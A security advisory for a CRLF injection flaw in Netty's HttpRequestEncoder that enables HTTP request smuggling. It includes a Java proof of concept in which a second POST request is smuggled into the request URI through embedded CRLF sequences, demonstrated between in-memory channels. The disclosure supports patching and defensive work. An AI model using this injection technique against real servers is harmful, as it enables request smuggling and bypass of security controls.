🛡️ CVE-2025-67735 — netty

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

```java

public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel();

client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel();

server.pipeline().addLast(new HttpServerCodec());

server.pipeline().addLast(new ChannelInboundHandlerAdapter() {

@Override

public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {

System.out.println("Processing msg " + msg);

}

});

DefaultHttpRequest request = new DefaultHttpRequest(

HttpVersion.HTTP_1_1,

HttpMethod.GET,

"/s1 HTTP/1.1\r\n" +

"\r\n" +

"POST /s2 HTTP/1.1\r\n" +

"content-length: 11\r\n\r\n" +

"Hello World" +

"GET /s1"

);

client.writeAndFlush(request);

ByteBuf tmp;

while ((tmp = client.readOutbound()) != null) {

server.writeInbound(tmp);

}

}

```

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.